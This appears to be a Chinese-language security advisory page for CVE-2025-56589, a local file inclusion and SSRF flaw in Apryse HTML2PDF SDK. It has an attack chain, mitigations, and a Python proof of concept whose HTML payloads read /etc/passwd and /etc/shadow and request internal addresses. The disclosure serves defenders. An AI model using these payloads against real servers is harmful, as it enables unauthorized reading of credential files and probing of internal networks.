IPBUF安全漏洞报告
English
CVE-2025-56589 CVSS 7.5 高危

CVE-2025-56589 Apryse HTML2PDF SDK 本地文件包含与SSRF高危漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2025-56589
漏洞类型
本地文件包含(LFI)和服务器端请求伪造(SSRF)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Apryse HTML2PDF SDK

相关标签

ApryseHTML2PDF本地文件包含LFI服务器端请求伪造SSRFCVE-2025-56589PDF SDKInsertFromHtmlString高危漏洞

漏洞概述

CVE-2025-56589是Apryse HTML2PDF SDK中存在的高危安全漏洞,CVSS评分达到7.5分。该漏洞主要影响SDK的InsertFromHtmlString()函数,同时包含本地文件包含(Local File Inclusion, LFI)和服务器端请求伪造(Server-Side Request Forgery, SSRF)两种攻击向量。Apryse HTML2PDF SDK是一款广泛应用于生产环境的PDF转换工具,用于将HTML内容转换为PDF文档。由于该SDK通常部署在服务器端处理用户提交的HTML内容,攻击者可以通过构造恶意请求,利用InsertFromHtmlString()函数的输入验证缺陷,读取服务器上的敏感文件或向内部/外部服务发起任意HTTP请求。此漏洞无需任何认证凭证即可被利用,且攻击复杂度较低,这使得漏洞具有极高的实际威胁性。成功利用此漏洞可能导致敏感信息泄露,包括但不限于配置文件、密钥、凭据等,甚至可能为进一步的远程代码执行或系统接管奠定基础。鉴于该SDK在企业级应用中的广泛部署,建议所有使用受影响版本的用户立即采取修复措施。

技术细节

Apryse HTML2PDF SDK的InsertFromHtmlString()函数在处理用户输入的HTML字符串时存在两个关键的安全漏洞:

1. 本地文件包含(LFI)漏洞:函数未对HTML内容中引用的资源路径进行充分的输入验证。攻击者可以在HTML中使用file://协议或其他路径遍历技术,指定服务器本地文件路径,诱导服务器读取并包含这些文件内容。例如,通过在HTML中嵌入<img src="file:///etc/passwd">或使用路径遍历如../../etc/passwd,攻击者可以获取服务器上的敏感文件内容。

2. 服务器端请求伪造(SSRF)漏洞:函数在处理HTML中引用的外部资源时,会自动发起HTTP请求获取这些资源。攻击者可以指定内部网络地址(如http://127.0.0.1:port/、http://192.168.x.x等)或其他恶意URL,利用服务器作为代理向内部服务发起请求。这不仅可用于端口扫描和内网服务探测,还可能访问管理界面、数据库连接等内部资源。

攻击者可以通过发送包含恶意HTML内容的POST请求到InsertFromHtmlString()接口,触发上述任一漏洞。由于SDK通常以较高权限运行,攻击者可能获取超出预期的访问权限。

攻击链分析

STEP 1
步骤1
攻击者识别目标服务器上运行的Apryse HTML2PDF SDK及其版本(<= 11.6.0),确认InsertFromHtmlString()接口可用
STEP 2
步骤2
攻击者构造包含恶意HTML内容的请求,在HTML中嵌入file://协议或内部网络地址
STEP 3
步骤3
攻击者向服务器的InsertFromHtmlString()端点发送POST请求,payload包含LFI或SSRF攻击向量
STEP 4
步骤4
SDK的InsertFromHtmlString()函数解析HTML时,未验证资源路径,直接发起请求读取文件或访问指定URL
STEP 5
步骤5
对于LFI攻击,服务器将目标文件内容(如/etc/passwd、配置文件、密钥等)返回给攻击者
STEP 6
步骤6
对于SSRF攻击,服务器代替攻击者向内部服务发起请求,攻击者获取响应内容或利用响应信息进行进一步攻击
STEP 7
步骤7
攻击者利用获取的敏感信息(如数据库凭据、API密钥、SSH密钥等)进行横向移动或权限提升

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-56589 PoC - Apryse HTML2PDF SDK LFI and SSRF # LFI PoC - Read local file import requests url = "http://target-server/api/InsertFromHtmlString" headers = {"Content-Type": "text/html"} # LFI payload - Read /etc/passwd lfi_payload = """ <html> <body> <img src="file:///etc/passwd" /> </body> </html> """ response = requests.post(url, data=lfi_payload, headers=headers) print("LFI Response:", response.text) # SSRF PoC - Access internal service ssrf_payload = """ <html> <body> <img src="http://127.0.0.1:8080/admin" /> </body> </html> """ response = requests.post(url, data=ssrf_payload, headers=headers) print("SSRF Response:", response.text) # Combined PoC - Path traversal + SSRF combined_payload = """ <html> <body> <img src="file:///var/www/html/../../../etc/shadow" /> <img src="http://internal-db:3306/" /> </body> </html> """ response = requests.post(url, data=combined_payload, headers=headers) print("Combined Response:", response.text)

影响范围

Apryse HTML2PDF SDK < 11.6.1
Apryse HTML2PDF SDK <= 11.6.0

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 在Web应用层对用户输入的HTML内容进行严格过滤,移除file://、ftp://等协议前缀和路径遍历序列(如../);2) 限制InsertFromHtmlString()函数的网络访问权限,阻止其访问内部网络地址;3) 对该接口实施认证机制,避免未经授权的访问;4) 监控和记录所有对InsertFromHtmlString()接口的请求,及时发现异常攻击行为;5) 考虑在隔离的网络环境中运行PDF转换服务,最小化潜在影响范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表